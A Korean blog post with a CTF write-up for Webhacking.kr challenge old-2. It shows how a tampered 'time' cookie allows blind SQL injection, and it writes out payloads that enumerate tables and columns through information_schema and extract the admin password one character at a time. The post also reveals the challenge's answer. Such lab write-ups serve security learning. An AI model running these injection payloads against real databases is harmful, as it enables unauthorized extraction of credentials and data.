deepble

[Webhacking.kr] challenge old-2 본문

CTF/Webhacking.kr

[Webhacking.kr] challenge old-2

deepble 2024. 3. 27. 20:28

문제

문제화면을 보면 다른 정보가 없어 F12를 눌러 소스코드를 확인합니다.

F12 눌러서 소스코드 확인

 


분석

소스코드 분석
문제에서 소스코드를 보면 시간정보와 admin.php에 관한 정보가 있습니다.

 

시간정보
admin.php 정보

 

admin.php 확인
password로 SQL 인젝션을 시도한 결과 실패하였습니다. F12로 소스코드를 확인한 결과 별다른 힌트는 없었습니다. 따라서 password를 찾아 입력해야하는 것으로 보입니다.

 

쿠키값 확인
다른 정보가 없어 cookie값을 확인합니다. 
쿠키 이름이 time이고 값이 1711501080인 것을 확인했을 때, 유닉스타임스템프로 확인이 필요해보입니다. 

 

 

 

■ 유닉스타임스템프 시간 변환 사이트

https://www.epochconverter.com/

 

Epoch Converter

Convert Unix Timestamps (and many other date formats) to regular dates.

www.epochconverter.com

 

쿠키 값 의미 알아내기
위에 시간 변환 사이트에서 쿠키값을 넣은 결과 처음에 소스코드에서 봤던 주석과 동일합니다.

시간 주석

 

쿠키값을 1로 변경한 결과, 주석도 변경됨을 확인했다. 이를 통해 쿠키값을 변조한 후 주석을 확인하며 문제에 접근해야 함을 유추할 수 있습니다.
+ 추가로 쿠키값이 1씩 증가할수록 주석의 시간도 1초씩 증가합니다.

Cookie 1로 변경

 

 

쿠키 값에 참 거짓 대입하기
1. 임의의 값인 '12335'를 입력하여 시간을 확인해줍니다.  
2. 거짓 값인 '12335 and 1=6'를 입력하여 시간을 확인해줍니다.
3. 참인 값인 '12335 and 1=1'를 입력하여 시간을 확인해줍니다.
각각 대입한 결과 거짓일 때는 시간 값이 0으로 출력되고, 참이면 1로 출력되는 것을 확인했습니다. 
출력값이 달라지므로 Blind SQL injection 공격이 가능할 것으로 보입니다. 이전 admin.php 페이지에 비밀번호를 해당 공격으로 찾을 수 있을 것 같습니다. 

 

'12335' 값 입력

 

 

'12335 and 1=6' 값 입력 (거짓)

 

 

'12335 and 1=1' 값 입력 (참)

 


분석결과 

  • admin.php 페이지에 password를 입력하는 창이 있습니다.
  • 주석의 시간과 쿠키가 연관되어 있는 것을 알 수 있었습니다.
  • 쿠키를 변경하여 주석이 변경되는 것을 확인하여, 쿠키 값이 참일 때는 1, 거짓일 때는 0이 출력됩니다.
  • 위에 내용을 바탕으로 Blind SQL injection 공격이 가능할 것이라 추측했습니다.
  • 따라서 Blind SQL injection 공격으로 DataBase 정보를 알아내어 password를 찾아야합니다.

풀이

쿠키값에 SQL 인젝션 코드를 입력하여 주석의 시간 부분을 확인합니다.

STEP1 - 데이터베이스 테이블 정보 찾기

데이터베이스의 테이블 개수 알아내기
(select count(table_name)from information_schema.tables where table_schema=database())
  • select count(table_name) : 'information_schema.tables'뷰에서 table_name 열을 세어서 행의 개수를 출력해줍니다. ( 이름이 table_name인 열의 행의 개수를 출력 = 테이블 개수 출력)
  • information_schema.tables : 데이터베이스 시스템의 모든 테이블 정보를 담고 있습니다.
  • where table_schema=database() : 현재 데이터베이스에 속한 테이블만을 대상으로 한다는 조건입니다.

테이블 개수를 출력하도록 쿠키값 변경
주석의 시간이 2로 변경됨

 

주석의 초를 확인하면 2로 변경된 것을 확인할 수 있습니다. 이는 테이블의 개수가 총 2개라는 것을 의미합니다.

 

첫 번째 테이블 이름 길이 알아내기
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
  • select count(table_name) : table_name 열의 값을 length 함수를 이용하여 테이블 이름의 문자열 길이를 알아냅니다.
  • information_schema.tables : 데이터베이스 시스템의 모든 테이블 정보를 담고 있습니다.
  • where table_schema=database() : 현재 데이터베이스에 속한 테이블만을 대상으로 한다는 조건입니다.
  • limit 0,1 : 첫 번째 인덱스인 0부터 시작하여 한 개의 행만 반환합니다. 이로인해 첫 번째 테이블의 이름 길이만 결과로 출력하게 됩니다.

첫 번째 테이블 이름의 길이를 출력하도록 쿠키값 변경
주석의 시간이 13으로 변경됨

주석의 초를 확인하면 13으로 변경된 것을 확인할 수 있습니다. 이는 첫 번째 테이블 이름의 길이가 13글자라는 것을 알 수 있습니다.

 

첫 번째 테이블 이름 알아내기
테이블 이름을 검색할 때 아스키코드를 이용합니다. 아스키 코드 표는 아래의 사이트에서 확인할 수 있습니다.
Ctrl + F를 눌러 검색한 후 찾고싶은 문자를 입력하면 수월하게 찾을 수 있습니다.

https://deepble.tistory.com/14

 

ASCII(아스키) 코드 표

문자 10진수 16진수 문자 10진수 16진수 문자 10진수 16진수 NUL 0 0x00 DC4 20 0x14 ( 40 0x28 SOH 1 0x01 NAK 21 0x15 ) 41 0x29 STX 2 0x02 SYN 22 0x16 * 42 0x2A ETX 3 0x03 ETB 23 0x17 + 43 0x2B EOT 4 0x04 CAN 24 0x18 , 44 0x2C ENQ 5 0x05 EM 25

deepble.tistory.com

 

1. 첫 번째 글자 알아내기 

(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0,1)
  • ascii(substring(table_name, 1, 1)) : table_name에서 첫 번째 문자를 substring을 활용하여 추출한 후, 그 문자를 ascii 코드 값으로 변환합니다.
  • information_schema.tables : 데이터베이스 시스템의 모든 테이블 정보를 담고 있습니다.
  • where table_schema=database() : 현재 데이터베이스에 속한 테이블만을 대상으로 한다는 조건입니다.
  • limit 0,1 : 첫 번째 인덱스인 0부터 시작하여 한 개의 행만 반환합니다. 이는 첫 번째 테이블을 의미합니다.

첫 번째 테이블 이름의 첫 번재 문자를 출력하도록 쿠키값 변경
주석의 시간이 97로 변경됨

 

주석의 분과 초가 변경되어 있기 때문에 37이 아닌 97입니다. 아스키코드를 확인해보면 97은 'a'인 것을 확인할 수 있습니다. 따라서 첫 번째 글자는 a입니다.

 

2. 두 번째 글자 알아내기 

(select ascii(substring(table_name, 2, 1)) from information_schema.tables where table_schema=database() limit 0,1)
  • ascii(substring(table_name, 2, 1)) : table_name에서 두 번째 문자를 substring을 활용하여 추출한 후, 그 문자를 ascii 코드 값으로 변환합니다.
  • 나머지는 위에 '첫 번째 글자 알아내기' 내용과 같습니다.

첫 번째 테이블 이름의 두 번재 문자를 출력하도록 쿠키값 변경
주석의 시간이 100으로 변경됨

 

주석의 초를 계산하면 100이 되고, 아스키 코드를 확인해보면 'd'인 것을 알 수 있습니다. 두 번째 글자는 d입니다.

 

3. 나머지 글자 알아내기 

1과 2의 방법으로 SQL문을 변경하며 13글자를 모두 찾아줍니다. 내용은 사진으로 대체하겠습니다.

첫 번째 테이블 이름의 세 번재 문자를 출력하도록 쿠키값 변경
주석의 시간이 109으로 변경됨 = m

세 번째 글자 = m

 

첫 번째 테이블 이름의 네 번재 문자를 출력하도록 쿠키값 변경
주석의 시간이 105으로 변경됨 = i

네 번째 글자 = i

 

첫 번째 테이블 이름의 다섯 번재 문자를 출력하도록 쿠키값 변경
주석의 시간이 110으로 변경됨 = n

다섯 번째 글자 = n

 

이렇게 글자를 모두 찾으면 첫 번째 테이블 명은 "admin_area_pw"를 얻을 수 있습니다.

 

 

두 번째 테이블 이름 길이 알아내기

 

처음 테이블 개수를 알아냈을 때, 2개임을 알았습니다. 첫 번째 테이블의 정보를 알아냈으니, 이제 두 번째 테이블에 대한 정보를 추출하기 위해 이름 길이를 알아내겠습니다.

(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)
  • limit 1,1 : 첫 번째 인덱스가 1부터 시작하여 한 개의 행만 반환합니다. 이로인해 두 번째 테이블의 이름 길이만 결과로 출력하게 됩니다.
  • 다른 내용은 '첫 번째 테이블 이름 길이 알아내기'와 동일합니다.

 

주석을 확인한 결과 두 번째 테이블 이름은 3글자로 이루어졌음을 알 수 있습니다.

 

 

두 번째 테이블 이름 알아내기

 

1. 첫 번째 글자 알아내기 

(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 1,1)
  • limit 0,1 : 두 번째 행부터 시작하여 한 개의 행만 반환합니다. 이는 두 번째 테이블을 의미합니다.
  • 다른 내용은 '두 번째 테이블 이름 알아내기'의 설명과 동일합니다.

첫 번째 글자는 아스키 코드 108로 l임을 알 수 있습니다.

 

2. 두 번째 글자 알아내기 

(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 1,1)

첫 번째 글자는 아스키 코드 111로 o임을 알 수 있습니다.

 

나머지 글자도 알아보면, 두 번째 테이블 이름은 'log'입니다.

 

따라서 테이블 이름은 admin_area_pwlog라는 것을 알 수 있습니다. " admin_area_pw"에 패스워드 정보가 있을 것이라 예상할 수 있습니다.

 

 

 

STEP2 - 패스워드 찾기

admin_area_pw 테이블의 column 개수 알아내기
(select count(column_name) from information_schema.columns where table_name="admin_area_pw")
  • select count(column_name) : column_name 열에 대한 from 이후의 조건을 만족하는 결과의 개수를 출력합니다. 이는 테이블 칼럼 수를 의미합니다.
  • information_schema.tables : 데이터베이스 시스템의 모든 테이블 정보를 담고 있습니다.
  • where table_name="admin_area_pw" : table_name이 "admin_area_pw"인 행만을 대상으로 합니다.

column의 개수는 총 1개인 것을 알 수 있습니다.

 

admin_area_pw 테이블의 column 이름 길이 알아내기
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")
  • select length(column_name) : column_name 열에 대한 이름 길이를 출력합니다. 칼럼 개수가 1개이므로 limit을 사용하지 않았습니다.
  • 나머지 내용을 위에와 같습니다.

column는 총 2글자인 것을 알 수 있습니다.

 

admin_area_pw 테이블의 column 이름 알아내기
(select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name="admin_area_pw")
  • ascii(substr(column_name, 1, 1)) : column_name에서 첫 번째 문자를 substr을 활용하여 추출한 후, 그 문자를 ascii 코드 값으로 변환합니다. (substr = substring)
  • 나머지 코드 내용은 위와 같습니다.

첫 번째 글자는 'p'임을 알 수 있습니다.

 

(select ascii(substr(column_name, 2, 1)) from information_schema.columns where table_name="admin_area_pw")

두 번째 글자는 'w'임을 알 수 있습니다.

 

따라서 column의 이름은 'pw'라는 것을 찾을 수 있습니다. 이제 다음으로 pw의 길이와 문자를 찾습니다.

 

 

pw 길이 알아내기
(select length(pw) from admin_area_pw)
  • admin_area_pw 테이블에서 pw 컬럼에 저장된 값의 길이를 알아냅니다.

패스워드는 총 17글자임을 알 수 있습니다.

 

 

pw 알아내기
(select ascii(substr(pw, 1, 1))from admin_area_pw)
  • admin_area_pw 테이블에서 pw 컬럼에 저장된 값 중 첫 번째 문자를 ascii코드로 출력합니다.

첫 번째 글자는 아스키 코드 107로 k임을 알 수 있습니다.

 

(select ascii(substr(pw, 2, 1))from admin_area_pw)
  • 두 번째 문자를 ascii코드로 출력합니다.

두 번째 글자는 아스키 코드 117로 u임을 알 수 있습니다.

 

이러한 방법으로 pw의 17글자를 모두 찾아보면, "kudos_to_beistlab"로 pw를 얻을 수 있습니다.

 

 

 

STEP3 - 정답 입력하기

 

다시 admin.php에 들어가서 pw값을 입력하여 제출하면, 문제를 풀 수 있습니다.

'CTF > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] challenge g00gle1  (0) 2024.04.05
[Webhacking.kr] challenge old-6  (0) 2024.04.04
[Webhacking.kr] challenge old-3  (0) 2024.04.02
[Webhacking.kr] challenge old-1  (0) 2024.03.27
[Webhacking.kr] challenge old-43 revenge  (0) 2024.03.27